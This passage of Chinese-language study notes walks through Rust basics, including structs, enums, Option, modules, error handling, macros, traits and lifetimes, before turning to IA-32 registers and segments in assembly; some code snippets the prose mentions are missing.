let part = &arr[0..3];
for i in part.iter() {
println!("{}", i);
}
}
rust中有x..y来实现\([x,y)\)的含义
- ..y 等价于 0..y
- x.. 等价于位置 x 到数据结束
- .. 等价于位置 0 到结束
被切片引用的字符串禁止更改其值:
实例
fn main() {
let mut s = String::from("runoob");
let slice = &s[0..3];
s.push_str("yes!"); // 错误
println!("slice = {}", slice);
}
s 被部分引用,禁止更改其值。
String和str
实际上,到目前为止你一定疑惑为什么每一次使用字符串都要这样写String::from("runoob") ,直接写 "runoob" 不行吗?
前面也有提到过,但是这里可以更加细致的说明一下
在 Rust 中有两种常用的字符串类型:str 和 String。str 是 Rust 核心语言类型,就是本章一直在讲的字符串切片(String Slice),常常以引用的形式出现(&str)。
凡是用双引号包括的字符串常量整体的类型性质都是 &str: let s = "hello"; 这里的 s 就是一个 &str 类型的变量。 String 类型是 Rust 标准公共库提供的一种数据类型,它的功能更完善——它支持字符串的追加、清空等实用的操作。String 和 str 除了同样拥有一个字符开始位置属性和一个字符串长度属性以外还有一个容量(capacity)属性。 String 和 str 都支持切片,切片的结果是 &str 类型的数据。 注意:切片结果必须是引用类型,但开发者必须自己明示这一点:
有一个快速的办法可以将 String 转换成 &str:RUST中的结构体¶
Rust 中的结构体(Struct)与元组(Tuple)都可以将若干个类型不一定相同的数据捆绑在一起形成整体,但结构体的每个成员和其本身都有一个名字,这样访问它成员的时候就不用记住下标了。元组常用于非定义的多值传递,而结构体用于规范常用的数据结构。结构体的每个成员叫做"字段"。
先给出一个结构体的例子
C语言中的
Warning
跟C语言不同,RUST中 struct 语句仅用来定义,不能声明实例也就是说在}后不能声明一个struct的变量,结尾不需要 ; 符号,而且每个字段定义之后用,分隔。
结构体实例¶
Rust 很多地方受 JavaScript 影响,在实例化结构体的时候用 JSON 对象的 key: value 语法来实现定义,格式为
例如let runoob = Site {
domain: String::from("www.runoob.com"),
name: String::from("RUNOOB"),
nation: String::from("China"),
found: 2013
};
let domain = String::from("www.runoob.com");
let name = String::from("RUNOOB");
let runoob = Site {
domain, // 等同于 domain : domain,
name, // 等同于 name : name,
nation: String::from("China"),
traffic: 2013
};
Note
..runoob 后面不可以有逗号。这种语法不允许一成不变的复制另一个结构体实例,意思就是说至少重新设定一个字段的值才能引用其他实例的值。
元组结构体¶
元组结构体提供了一种更加方便快捷的定义和使用结构体的方式
struct Color(u8, u8, u8);
struct Point(f64, f64);
let black = Color(0, 0, 0);
let origin = Point(0.0, 0.0);
black.0
结构体所有权:结构体必须掌握字段值所有权,因为结构体失效的时候会释放所有字段。 引用结构体成员给其他变量赋值时,要注意:所有权的转移可能会破坏结构体变量的完整性。例如:
struct Dog {
name: String,
age: i8
}
fn main() {
let mydog = Dog {
name:String::from("wangcai"),
age:3,
};
let str = mydog.name;
println!("str={}", str);
println!("mydog: name={},age={}", mydog.name, mydog.age);
}
11 | let str = mydog.name;
| ---------- value moved here
12 | println!("str={}", str);
13 | println!("mydog: name={},age={}", mydog.name, mydog.age);
| ^^^^^^^^^^ value borrowed here after move
11行,用mydog.name给str赋值时,所有权就move到的str变量。
13行,打印时引用mydog.name,此时已经不存在,无法再使用。
11行应该改为:
let str = mydog.name.clone();
clone()会创建mydog.name的一个副本。
输出结构体
调试中,完整地显示出一个结构体实例是非常有用的。但如果我们手动的书写一个格式会非常的不方便。所以 Rust 提供了一个方便地输出一整个结构体的方法:
Example
#[derive(Debug)]
struct Rectangle {
width: u32,
height: u32,
}
fn main() {
let rect1 = Rectangle { width: 30, height: 50 };
println!("rect1 is {:?}", rect1);
}
#[derive(Debug)] ,之后在 println 和 print 宏中就可以用 {:?} 占位符输出一整个结构体:
如果属性较多的话可以使用另一个占位符 {:#?} 。
结构体方法¶
方法(Method)和函数(Function)类似,只不过它是用来操作结构体实例的。
如果你学习过一些面向对象的语言,那你一定很清楚函数一般放在类定义里并在函数中用 this 表示所操作的实例。
Rust 语言不是面向对象的,从它所有权机制的创新可以看出这一点。但是面向对象的珍贵思想可以在 Rust 实现。
结构体方法的第一个参数必须是 &self,不需声明类型,因为 self 不是一种风格而是关键字。
struct Rectangle {
width: u32,
height: u32,
}
impl Rectangle {
fn area(&self) -> u32 {
self.width * self.height
}
fn wider(&self, rect: &Rectangle) -> bool {
self.width > rect.width
}
}
fn main() {
let rect1 = Rectangle { width: 30, height: 50 };
let rect2 = Rectangle { width: 40, height: 20 };
println!("{}", rect1.wider(&rect2));
}
Info
定义了一个表示矩形的Rectangle结构体,并实现了两个方法:area和wider。接着在main函数中创建两个矩形实例,并调用wider方法来比较它们的宽度。以下是详细解释:
Rectangle结构体-
这段代码定义了一个结构体
Rectangle,它有两个字段:width(宽度)和height(高度),都是u32类型的无符号32位整数。 -
impl Rectangle块 -
impl Rectangle块定义了两个方法,area和wider,它们都属于Rectangle结构体。 -
area方法:fn area(&self) -> u32定义了一个计算矩形面积的方法。self是一个指向调用该方法的矩形实例的引用。self.width * self.height计算并返回矩形的面积。
-
wider方法:fn wider(&self, rect: &Rectangle) -> bool定义了一个比较矩形宽度的方法。- 这个方法接收两个参数:
self表示调用该方法的矩形,rect是另一个用于比较的矩形。 self.width > rect.width判断调用wider方法的矩形是否比传入的矩形更宽,返回一个布尔值。
-
main函数 -
main函数是程序的入口点。 -
let rect1 = Rectangle { width: 30, height: 50 };创建一个宽度为30、高度为50的矩形实例rect1。 -
let rect2 = Rectangle { width: 40, height: 20 };创建另一个宽度为40、高度为20的矩形实例rect2。 -
println!("{}", rect1.wider(&rect2));调用rect1的wider方法,比较它和rect2的宽度,然后将结果打印出来。
运行结果
rect1.wider(&rect2)会返回false,因为rect1的宽度(30)小于rect2的宽度(40)。- 程序将打印出
false。
结构体关联函数¶
之所以"结构体方法"不叫"结构体函数"是因为"函数"这个名字留给了这种函数:它在 impl 块中却没有 &self 参数。
这种函数不依赖实例,但是使用它需要声明是在哪个 impl 块中的。
一直使用的 String::from 函数就是一个"关联函数"。
#[derive(Debug)]
struct Rectangle {
width: u32,
height: u32,
}
impl Rectangle {
fn create(width: u32, height: u32) -> Rectangle {
Rectangle { width, height }
}
}
fn main() {
let rect = Rectangle::create(30, 50);
println!("{:?}", rect);
}
Note
结构体 impl 块可以写几次,效果相当于它们内容的拼接!
结构体可以只作为一种象征而无需任何成员:
我们称这种没有身体的结构体为单元结构体(Unit Struct)。
枚举类¶
RUST中的枚举类可以比较简单地使用 格式为
例如#[derive(Debug)]
enum Book {
Papery, Electronic
}
fn main() {
let book = Book::Papery;
println!("{:?}", book);
}
如果你正在开发一个图书管理系统,你需要描述书的两种不同的属性(纸质书有索引号,电子书有URL),那么可以为枚举类的成员添加元组属性描述,如果要为属性命名,可以用结构体的语法
enum Book {
Papery { index: u32 },
Electronic { url: String },
}
let book = Book::Papery{index: 1001};
Match语法
枚举的目的是对某一类事物的分类,分类的目的是为了对不同的情况进行描述。基于这个原理,往往枚举类最终都会被分支结构处理(许多语言中的 switch )。 switch 语法很经典,但在 Rust 中并不支持,很多语言摒弃 switch 的原因都是因为 switch 容易存在因忘记添加 break 而产生的串接运行问题,Java 和 C# 这类语言通过安全检查杜绝这种情况出现。
Rust 通过 match 语句来实现分支结构。
fn main() {
enum Book {
Papery {index: u32},
Electronic {url: String},
}
let book = Book::Papery{index: 1001};
let ebook = Book::Electronic{url: String::from("url...")};
match book {
Book::Papery { index } => {
println!("Papery book {}", index);
},
Book::Electronic { url } => {
println!("E-book {}", url);
}
}
}
match 块也可以当作函数表达式来对待,它也是可以有返回值的
但是所有返回值表达式的类型必须一样!
如果把枚举类附加属性定义成元组,在 match 块中需要临时指定一个名字:
enum Book {
Papery(u32),
Electronic {url: String},
}
let book = Book::Papery(1001);
match book {
Book::Papery(i) => {
println!("{}", i);
},
Book::Electronic { url } => {
println!("{}", url);
}
}
对非枚举类进行分支选择时必须注意处理例外情况,即使在例外情况下没有任何要做的事 . 例外情况用下划线 _ 表示:
Option 枚举类¶
Option 是 Rust 标准库中的枚举类,这个类用于填补 Rust 不支持 null 引用的空白。
许多语言支持 null 的存在(C/C++、Java),这样很方便,但也制造了极大的问题,null 的发明者也承认这一点,"一个方便的想法造成累计 10 亿美元的损失"。
null 经常在开发者把一切都当作不是 null 的时候给予程序致命一击:毕竟只要出现一个这样的错误,程序的运行就要彻底终止。
为了解决这个问题,很多语言默认不允许 null,但在语言层面支持 null 的出现(常在类型前面用 ? 符号修饰)。
Java 默认支持 null,但可以通过 @NotNull 注解限制出现 null,这是一种应付的办法。
Rust 在语言层面彻底不允许空值 null 的存在,但无奈null 可以高效地解决少量的问题,所以 Rust 引入了 Option 枚举类:
如果你想针对 opt 执行某些操作,你必须先判断它是否是 Option::None:
fn main() {
let opt = Option::Some("Hello");
match opt {
Option::Some(something) => {
println!("{}", something);
},
Option::None => {
println!("opt is nothing");
}
}
}
如果你的变量刚开始是空值,你体谅一下编译器,它怎么知道值不为空的时候变量是什么类型的呢?
所以初始值为空的 Option 必须明确类型:
fn main() {
let opt: Option<&str> = Option::None;
match opt {
Option::Some(something) => {
println!("{}", something);
},
Option::None => {
println!("opt is nothing");
}
}
}
Info
这种设计会让空值编程变得不容易,但这正是构建一个稳定高效的系统所需要的。由于 Option 是 Rust 编译器默认引入的,在使用时可以省略 Option:: 直接写 None 或者 Some()。
Option 是一种特殊的枚举类,它可以含值分支选择:
if-let语法¶
下面这段程序用于判断一个变量是否为0
使用if-let语法可以对它进行缩短
if-let语法的格式如下
Note
if let 语法可以认为是只区分两种情况的 match 语句的"语法糖"(语法糖指的是某种语法的原理相同的便捷替代品)。
可以在之后添加一个 else 块来处理例外情况。
fn main() {
enum Book {
Papery(u32),
Electronic(String)
}
let book = Book::Electronic(String::from("url"));
if let Book::Papery(index) = book {
println!("Papery {}", index);
} else {
println!("Not papery book");
}
}
组织管理¶
我没太懂这个是要干嘛,直接抄的菜鸟教程
任何一门编程语言如果不能组织代码都是难以深入的,几乎没有一个软件产品是由一个源文件编译而成的。
到目前为止所有的程序都是在一个文件中编写的,主要是为了方便学习 Rust 语言的语法和概念。
对于一个工程来讲,组织代码是十分重要的。
Rust 中有三个重要的组织概念:箱、包、模块。
箱(Crate)
"箱"是二进制程序文件或者库文件,存在于"包"中。
"箱"是树状结构的,它的树根是编译器开始运行时编译的源文件所编译的程序。
Note
注意:"二进制程序文件"不一定是"二进制可执行文件",只能确定是是包含目标机器语言的文件,文件格式随编译环境的不同而不同.
包(Package)
当我们使用 Cargo 执行 new 命令创建 Rust 工程时,工程目录下会建立一个 Cargo.toml 文件。工程的实质就是一个包,包必须由一个 Cargo.toml 文件来管理,该文件描述了包的基本信息以及依赖项。
一个包最多包含一个库"箱",可以包含任意数量的二进制"箱",但是至少包含一个"箱"(不管是库还是二进制"箱")。
当使用 cargo new 命令创建完包之后,src 目录下会生成一个 main.rs 源文件,Cargo 默认这个文件为二进制箱的根,编译之后的二进制箱将与包名相同。
模块(Module) 对于一个软件工程来说,我们往往按照所使用的编程语言的组织规范来进行组织,组织模块的主要结构往往是树。Java 组织功能模块的主要单位是类,而 JavaScript 组织模块的主要方式是 function。
这些先进的语言的组织单位可以层层包含,就像文件系统的目录结构一样。Rust 中的组织单位是模块(Module)。
mod nation {
mod government {
fn govern() {}
}
mod congress {
fn legislate() {}
}
mod court {
fn judicial() {}
}
}
在文件系统中,目录结构往往以斜杠在路径字符串中表示对象的位置,Rust 中的路径分隔符是 :: 。
路径分为绝对路径和相对路径。绝对路径从 crate 关键字开始描述。相对路径从 self 或 super 关键字或一个标识符开始描述。例如:
是描述 govern 函数的绝对路径,相对路径可以表示为: 现在你可以尝试在一个源程序里定义类似的模块结构并在主函数中使用路径。如果你这样做,你一定会发现它不正确的地方:government 模块和其中的函数都是私有(private)的,你不被允许访问它们。
访问权限¶
Rust 中有两种简单的访问权:公共(public)和私有(private)。
默认情况下,如果不加修饰符,模块中的成员访问权将是私有的。
如果想使用公共权限,需要使用 pub 关键字。
对于私有的模块,只有在与其平级的位置或下级的位置才能访问,不能从其外部访问。
mod nation {
pub mod government {
pub fn govern() {}
}
mod congress {
pub fn legislate() {}
}
mod court {
fn judicial() {
super::congress::legislate();
}
}
}
fn main() {
nation::government::govern();
}
如果模块中定义了结构体,结构体除了其本身是私有的以外,其字段也默认是私有的。所以如果想使用模块中的结构体以及其字段,需要 pub 声明:
mod back_of_house {
pub struct Breakfast {
pub toast: String,
seasonal_fruit: String,
}
impl Breakfast {
pub fn summer(toast: &str) -> Breakfast {
Breakfast {
toast: String::from(toast),
seasonal_fruit: String::from("peaches"),
}
}
}
}
pub fn eat_at_restaurant() {
let mut meal = back_of_house::Breakfast::summer("Rye");
meal.toast = String::from("Wheat");
println!("I'd like {} toast please", meal.toast);
}
fn main() {
eat_at_restaurant()
}
mod SomeModule {
pub enum Person {
King {
name: String
},
Queen
}
}
fn main() {
let person = SomeModule::Person::King{
name: String::from("Blue")
};
match person {
SomeModule::Person::King {name} => {
println!("{}", name);
}
_ => {}
}
}
难以发现的模块¶
使用过 Java 的开发者在编程时往往非常讨厌最外层的 class 块——它的名字与文件名一模一样,因为它就表示文件容器,尽管它很繁琐但我们不得不写一遍来强调"这个类是文件所包含的类"。
不过这样有一些好处:起码它让开发者明明白白的意识到了类包装的存在,而且可以明确的描述类的继承关系。
在 Rust 中,模块就像是 Java 中的类包装,但是文件一开头就可以写一个主函数,这该如何解释呢?
每一个 Rust 文件的内容都是一个"难以发现"的模块。
让我们用两个文件来揭示这一点:
// main.rs
mod second_module;
fn main() {
println!("This is the main module.");
println!("{}", second_module::message());
}
use关键字¶
use 关键字能够将模块标识符引入当前作用域:
mod nation {
pub mod government {
pub fn govern() {}
}
}
use crate::nation::government::govern;
fn main() {
govern();
}
这段程序能够通过编译。
因为 use 关键字把 govern 标识符导入到了当前的模块下,可以直接使用。
这样就解决了局部模块路径过长的问题。
当然,有些情况下存在两个相同的名称,且同样需要导入,我们可以使用 as 关键字为标识符添加别名:
mod nation {
pub mod government {
pub fn govern() {}
}
pub fn govern() {}
}
use crate::nation::government::govern;
use crate::nation::govern as nation_govern;
fn main() {
nation_govern();
govern();
}
这里有两个 govern 函数,一个是 nation 下的,一个是 government 下的,我们用 as 将 nation 下的取别名 nation_govern。两个名称可以同时使用。
use 关键字可以与 pub 关键字配合使用:
mod nation {
pub mod government {
pub fn govern() {}
}
pub use government::govern;
}
fn main() {
nation::govern();
}
然后,我们就可以轻松地导入系统库来开发程序了
错误处理¶
Rust 有一套独特的处理异常情况的机制,它并不像其它语言中的 try 机制那样简单。
首先,程序中一般会出现两种错误:可恢复错误和不可恢复错误。
可恢复错误的典型案例是文件访问错误,如果访问一个文件失败,有可能是因为它正在被占用,是正常的,我们可以通过等待来解决。
但还有一种错误是由编程中无法解决的逻辑错误导致的,例如访问数组末尾以外的位置。
大多数编程语言不区分这两种错误,并用 Exception (异常)类来表示错误。在 Rust 中没有 Exception。
对于可恢复错误用 Result<T, E> 类来处理,对于不可恢复错误使用 panic! 宏来处理。
不可恢复错误¶
不可恢复错误会导致程序受到致命的打击而终止运行
例如
运行结果
-
第一行第二行输出了
panic!宏调用的位置以及其输出的错误信息 -
第二行是一句提示第二行是一句提示,翻译成中文就是"通过
RUST_BACKTRACE=1环境变量运行以显示回溯"。
可恢复的错误¶
此概念十分类似于 Java 编程语言中的异常。实际上在 C 语言中我们就常常将函数返回值设置成整数来表达函数遇到的错误,在 Rust 中通过 Result
在 Rust 标准库中可能产生异常的函数的返回值都是 Result 类型的。例如:当我们尝试打开一个文件时:
use std::fs::File;
fn main() {
let f = File::open("hello.txt");
if let Ok(file) = f {
println!("File opened successfully.");
} else {
println!("Failed to open the file.");
}
}
如果想使一个可恢复错误按不可恢复错误处理,Result 类提供了两个办法:unwrap() 和 expect(message: &str) :
use std::fs::File;
fn main() {
let f1 = File::open("hello.txt").unwrap();
let f2 = File::open("hello.txt").expect("Failed to open.");
}
可恢复的错误的传递¶
之前所讲的是接收到错误的处理方式,但是如果我们自己编写一个函数在遇到错误时想传递出去怎么办呢?
fn f(i: i32) -> Result<i32, bool> {
if i >= 0 { Ok(i) }
else { Err(false) }
}
fn main() {
let r = f(10000);
if let Ok(v) = r {
println!("Ok: f(-1) = {}", v);
} else {
println!("Err");
}
}
我们再写一个传递错误的函数 g :
fn g(i: i32) -> Result<i32, bool> {
let t = f(i);
return match t {
Ok(i) => Ok(i),
Err(b) => Err(b)
};
}
Rust 中可以在 Result 对象后添加 ? 操作符将同类的 Err 直接传递出去:
fn f(i: i32) -> Result<i32, bool> {
if i >= 0 { Ok(i) }
else { Err(false) }
}
fn g(i: i32) -> Result<i32, bool> {
let t = f(i)?;
Ok(t) // 因为确定 t 不是 Err, t 在这里已经是 i32 类型
}
fn main() {
let r = g(-10000);
if let Ok(v) = r {
println!("Ok: g(10000) = {}", v);
} else {
println!("Err");
}
}
Err
? 符的实际作用是将 Result 类非异常的值直接取出,如果有异常就将异常 Result 返回出去。所以,? 符仅用于返回值类型为 Result
Kind
到此为止,Rust 似乎没有像 try 块一样可以令任何位置发生的同类异常都直接得到相同的解决的语法,但这样并不意味着 Rust 实现不了:我们完全可以把 try 块在独立的函数中实现,将所有的异常都传递出去解决。实际上这才是一个分化良好的程序应当遵循的编程方法:应该注重独立功能的完整性。
但是这样需要判断 Result 的 Err 类型,获取 Err 类型的函数是 kind()。
use std::io;
use std::io::Read;
use std::fs::File;
fn read_text_from_file(path: &str) -> Result<String, io::Error> {
let mut f = File::open(path)?;//首先判断文件是否存在
let mut s = String::new();
f.read_to_string(&mut s)?;//判断是否读取失败
Ok(s)
}
fn main() {
let str_file = read_text_from_file("hello.txt");
match str_file {
Ok(s) => println!("{}", s),
Err(e) => {
match e.kind() {//根据kind分类
io::ErrorKind::NotFound => {
println!("No such file");
},
_ => {
println!("Cannot read the file");
}
}
}
}
}
宏¶
Rust 宏(Macros)是一种在编译时生成代码的强大工具,它允许你在编写代码时创建自定义语法扩展。
宏(Macro)是一种在代码中进行元编程(Metaprogramming)的技术,它允许在编译时生成代码,宏可以帮助简化代码,提高代码的可读性和可维护性,同时允许开发者在编译时执行一些代码生成的操作。
宏在 Rust 中有两种类型:声明式宏(Declarative Macros)和过程宏(Procedural Macros)。
定义宏¶
在 Rust 中,使用 macro_rules! 关键字来定义声明式宏。
主要格式为
声明式宏使用 macro_rules! 关键字进行定义,它们被称为 "macro_rules" 宏。这种宏的定义是基于模式匹配的,可以匹配代码的结构并根据匹配的模式生成相应的代码。这样的宏在不引入新的语法结构的情况下,可以用来简化一些通用的代码模式。
这里有一个简单的例子
Example
// 宏的定义
macro_rules! greet {
// 模式匹配
($name:expr) => {
// 宏的展开
println!("Hello, {}!", $name);
};
}
fn main() {
// 调用宏
greet!("World");
}
定义宏 (macro_rules! greet)
macro_rules! greet 是宏定义的语法。在 Rust 中,宏是一种用于生成代码的机制。
- greet 是宏的名字。
- ($name:expr) 是宏的模式匹配部分。这里匹配一个表达式(expr),并将其绑定到 $name 上。
- => { ... } 是宏的展开部分。当宏被调用时,匹配到的表达式会被插入到这个位置。在这个例子中,它会展开成一条 println! 语句,输出一个带有变量 $name 的字符串。
- 使用宏
fn main()是程序的入口函数。greet!("World");是对宏greet的调用。在调用时,"World"这个字符串字面量会被传递给宏中的$name。
在编译时,宏会被展开成常规代码。对于这段代码来说,greet!("World"); 会展开成:
下面是一个更复杂的例子
Example
// 宏的定义
macro_rules! vec {
// 基本情况,空的情况
() => {
Vec::new()
};
// 递归情况,带有元素的情况
($($element:expr),+ $(,)?) => {
{
let mut temp_vec = Vec::new();
$(
temp_vec.push($element);
)+
temp_vec
}
};
}
fn main() {
// 调用宏
let my_vec = vec![1, 2, 3];
println!("{:?}", my_vec); // 输出: [1, 2, 3]
let empty_vec = vec![];
println!("{:?}", empty_vec); // 输出: []
}
- 定义宏 (
macro_rules! vec)a. 基本情况:空的macro_rules! vec { // 基本情况,空的情况 () => { Vec::new() }; // 递归情况,带有元素的情况 ($($element:expr),+ $(,)?) => { { let mut temp_vec = Vec::new(); $( temp_vec.push($element); )+ temp_vec } }; }Vec - 当宏被调用时,如果没有传递任何参数(即
()),这个模式会匹配。 - 宏将展开为
Vec::new(),它创建并返回一个空的Vec。
b. 递归情况:带有元素的 Vec
($($element:expr),+ $(,)?) => {
{
let mut temp_vec = Vec::new();
$(
temp_vec.push($element);
)+
temp_vec
}
};
- 这个模式匹配一个或多个表达式,表达式之间用逗号分隔。模式中使用了
$($element:expr),+,表示匹配一个或多个表达式。 $(,)?是一个可选的逗号,用于允许在参数列表的末尾加一个逗号。- 该模式的展开部分是一个代码块:
- 创建一个空的
Vec,命名为temp_vec。 - 使用
$(...)+循环,将每个匹配到的表达式($element)推入到temp_vec中。 -
最终返回这个填充好的
temp_vec。 -
使用宏
-
在
main函数中,宏vec被调用了两次。
a. 创建一个带有元素的 Vec
- 这里的宏调用会匹配第二种情况(递归情况)。
-
宏展开后相当于以下代码:
-
打印时,输出
[1, 2, 3]。
b. 创建一个空的 Vec
- 这里的宏调用会匹配第一种情况(空的情况)。
- 宏展开后相当于
let empty_vec = Vec::new();。 - 打印时,输出
[]。
Rust 泛型与特性¶
泛型是一个编程语言不可或缺的机制
C++语言中用“模板”来实现泛型,而C语言中却没有泛型的机制,这导致使用C语言来构建类型复杂的工程较为困难。
泛型机制是编程语言用于表达类型抽象的机制,一般用于功能确定,数据类型待定的类,例如链表,映射表等等。
在函数中定义泛型¶
fn max(array: &[i32]) -> i32 {
let mut max_index = 0;
let mut i = 1;
while i < array.len() {
if array[i] > array[max_index] {
max_index = i;
}
i += 1;
}
array[max_index]
}
fn main() {
let a = [2, 4, 6, 3, 1];
println!("max = {}", max(&a));
}
这是一个简单的取最大值程序,可以用于处理 i32 数字类型的数据,但无法用于 f64 类型的数据。通过使用泛型我们可以使这个函数可以利用到各个类型中去。但实际上并不是所有的数据类型都可以比大小,所以接下来一段代码并不是用来运行的,而是用来描述一下函数泛型的语法格式:
fn max<T>(array: &[T]) -> T {
let mut max_index = 0;
let mut i = 1;
while i < array.len() {
if array[i] > array[max_index] {
max_index = i;
}
i += 1;
}
array[max_index]
}
结构体与枚举类中的泛型¶
Rust 中的结构体和枚举类都可以实现泛型机制
这是一个点坐标结构体,T 表示描述点坐标的数字类型。我们可以这样使用:
使用时并没有声明类型,这里使用的是自动类型机制,但不允许出现类型不匹配的情况如下:
x 与 1 绑定时就已经将 T 设定为 i32,所以不允许再出现 f64 的类型。如果我们想让 x 与 y 用不同的数据类型表示,可以使用两个泛型标识符:
结构体与枚举类都可以定义方法,那么方法也应该实现泛型的机制,否则泛型的类将无法被有效的方法操作。
struct Point<T> {
x: T,
y: T,
}
impl<T> Point<T> {
fn x(&self) -> &T {
&self.x
}
}
fn main() {
let p = Point { x: 1, y: 2 };
println!("p.x = {}", p.x());
}
特性¶
特性(trait)概念接近于 Java 中的接口(Interface),但两者不完全相同。特性与接口相同的地方在于它们都是一种行为规范,可以用于标识哪些类有哪些方法。
特性在 Rust 中用 trait 表示:
Descriptive 规定了实现者必需有 describe(&self) -> String 方法。
我们用它实现一个结构体:
struct Person {
name: String,
age: u8
}
impl Descriptive for Person {
fn describe(&self) -> String {
format!("{} {}", self.name, self.age)
}
}
格式为impl <特性名> for <所实现的类型名>
Rust 同一个类可以实现多个特性,每个 impl 块只能实现一个。
默认特性¶
这是特性与接口的不同点:接口只能规范方法而不能定义方法,但特性可以定义方法作为默认方法,因为是"默认",所以对象既可以重新定义方法,也可以不重新定义方法使用默认的方法:
trait Descriptive {
fn describe(&self) -> String {
String::from("[Object]")
}
}
struct Person {
name: String,
age: u8
}
impl Descriptive for Person {
fn describe(&self) -> String {
format!("{} {}", self.name, self.age)
}
}
fn main() {
let cali = Person {
name: String::from("Cali"),
age: 24
};
println!("{}", cali.describe());
}
运行结果为
Cali 24
如果我们将 impl Descriptive for Person 块中的内容去掉,那么运行结果就是:
[Object]
特性做参数¶
很多情况下我们需要传递一个函数做参数,例如回调函数、设置按钮事件等。在 Java 中函数必须以接口实现的类实例来传递,在 Rust 中可以通过传递特性参数来实现:
任何实现了 Descriptive 特性的对象都可以作为这个函数的参数,这个函数没必要了解传入对象有没有其他属性或方法,只需要了解它一定有 Descriptive 特性规范的方法就可以了。当然,此函数内也无法使用其他的属性与方法。
特性参数还可以用这种等效语法实现:
这是一种风格类似泛型的语法糖,这种语法糖在有多个参数类型均是特性的情况下十分实用:fn output_two<T: Descriptive>(arg1: T, arg2: T) {
println!("{}", arg1.describe());
println!("{}", arg2.describe());
}
注意:仅用于表示类型的时候,并不意味着可以在 impl 块中使用。
复杂的实现关系可以使用 where 关键字简化,例如:
可以简化成:Example
trait Comparable { fn compare(&self, object: &Self) -> i8; }
fn max
impl Comparable for f64 { fn compare(&self, object: &f64) -> i8 { if &self > &object { 1 } else if &self == &object { 0 } else { -1 } } }
fn main() { let arr = [1.0, 3.0, 5.0, 4.0, 2.0]; println!("maximum of arr is {}", max(&arr)); }
特性做返回值¶
特性做返回值格式如下:
但是有一点,特性做返回值只接受实现了该特性的对象做返回值且在同一个函数中所有可能的返回值类型必须完全一样。比如结构体 A 与结构体 B 都实现了特性 Trait,下面这个函数就是错误的:
生命周期¶
Rust 生命周期机制是与所有权机制同等重要的资源管理机制。
之所以引入这个概念主要是应对复杂类型系统中资源管理的问题。
引用是对待复杂类型时必不可少的机制,毕竟复杂类型的数据不能被处理器轻易地复制和计算。
但引用往往导致极其复杂的资源管理问题,首先认识一下垂悬引用:
引用必须在值的生命周期以内才有效。
一直以来我们都在结构体中使用 String 而不用 &str,我们用一个案例解释原因:
Example
fn main() { let r; { let s1 = "rust"; let s2 = "ecmascript"; r = longer(s1, s2); } println!("{} is longer", r);
} 这段程序中虽然经过了比较,但 r 被使用的时候源值 s1 和 s2 都已经失效了。当然我们可以把 r 的使用移到 s1 和 s2 的生命周期范围以内防止这种错误的发生,但对于函数来说,它并不能知道自己以外的地方是什么情况,它为了保障自己传递出去的值是正常的,必选所有权原则消除一切危险,所以 longer 函数并不能通过编译。
生命周期注释¶
生命周期注释是描述引用生命周期的办法。
虽然这样并不能够改变引用的生命周期,但可以在合适的地方声明两个引用的生命周期一致。
生命周期注释用单引号开头,跟着一个小写字母单词:
fn longer<'a>(s1: &'a str, s2: &'a str) -> &'a str {
if s2.len() > s1.len() {
s2
} else {
s1
}
}
fn main() {
let r;
{
let s1 = "rust";
let s2 = "ecmascript";
r = longer(s1, s2);
println!("{} is longer", r);
}
}
我们需要用泛型声明来规范生命周期的名称,随后函数返回值的生命周期将与两个参数的生命周期一致
静态生命周期¶
生命周期注释有一个特别的:'static 。所有用双引号包括的字符串常量所代表的精确数据类型都是 &'static str ,'static 所表示的生命周期从程序运行开始到程序运行结束。
汇编学习笔记
计算机的硬件组成结构¶
约 3052 个字 7 张图片 预计阅读时间 11 分钟
计算机有三大硬件组成部分
-
CPU:包含运算器,控制器,寄存器
-
主存储器
-
I/O接口:辅助存储器,输入设备,输出设备
而汇编程序员将硬件抽象为
-
寄存器
-
存储器地址
-
输入输出地址
寄存器(Register)¶
Info
寄存器是处理器内部的高速存储单元,用于暂时存放程序执行过程中的代码和数据
大致可以分成两类
-
透明寄存器:对应用人员不可见,不能编程直接控制
-
可编程(programmable)寄存器:具有引用名称,可以直接供编程使用
可编程寄存器又分为通用寄存器和专用寄存器
处理器通用寄存器¶
处理器最常使用整数通用寄存器,可以用于保存整数数据,地址等
32位的IA-32处理器具有8个32位通用寄存器
- EAX,EBX,ECX,EDX,ESI,EDI,EBI,ESP
| Register | English Name | Chinese Name |
|---|---|---|
| EAX | Accumulator | 累加器 |
| EBX | Base Address | 基址寄存器 |
| ECX | Counter | 计数器 |
| EDX | Data | 数据寄存器 |
| ESI | Source Index | 源变址寄存器 |
| EDI | Destination Index | 目的变址寄存器 |
| EBP | Base Pointer | 基址指针 |
| ESP | Stack Pointer | 堆栈指针 |
源自16位8086处理器的8个16位通用寄存器(E为扩展,即extend)
- AX,BX,CX,DX,SI,DI,BP,SP,前四个寄存器可分高低字节,形成8个8位的通用寄存器:AH,AL,BH,BL,CH,CL,DH,DL
这使得这些寄存器既是一个整体,又可以独立使用
图示

处理器专用寄存器¶
专用寄存器主要有三类,标志寄存器,指令指针寄存器,段寄存器
标志(Flag)寄存器¶
什么是标志
标志体现了某种工作状态,有些处理器标志用于反映指令执行结果(加减是否进位借位,数据是否为0,正负),有些处理器标志用于控制指令执行形式(处理器是否单步操作,是否响应外部中断)
各种标志组合在一个专用寄存器形成标志寄存器,8086支持16位的标志寄存器FLAGS
IA-32处理器形成32位EFLAGS标志寄存器
-
状态标志:记录指令执行结果的辅助信息,是处理器最基本的标志
- 加减运算和逻辑运算指令主要设置他们
- 其他有些指令的执行也会相应地设置他们
- 处理器主要使用其中5个构成各种条件(分支指令判断这些条件实现程序分支)
-
控制标志: 方向标志DF,仅用于串操作指令
- 系统标志: 控制操作系统或核心管理程序的操作方式
指令指针寄存器EIP¶
用于保存 将要执行的指令在主存的存储器地址 ,相当于一个指向将要执行指令的指针
-
在顺序执行时会自动增量,指向下一条指令
-
分支,调用等操作时执行控制转移指令修改,引起程序到指定的指令执行
-
在出现中断或者异常时被处理器赋值而相应改变
段寄存器¶
存储空间分段管理
“段”是保存相关代码或者数据的一个主存区域
应用程序主要涉及三类基本段
-
代码段(Code Segment) 存放程序的可执行代码(处理器指令)
-
数据段(Data Segment) 存放全局变量等程序所用的数据
-
堆栈段(Stack Segment) 这是程序所需要的特殊区域,用于存放返回地址,临时变量等

段寄存器表明某个段在主存中的位置
根据各个段的首字母缩写来给相应的寄存器命名,共有6个16位寄存器
| 代码段 | CS |
|---|---|
| 堆栈段 | SS |
| 数据段 | DS,ES(Extra segment),FS,DS |
代码段的当前指令地址
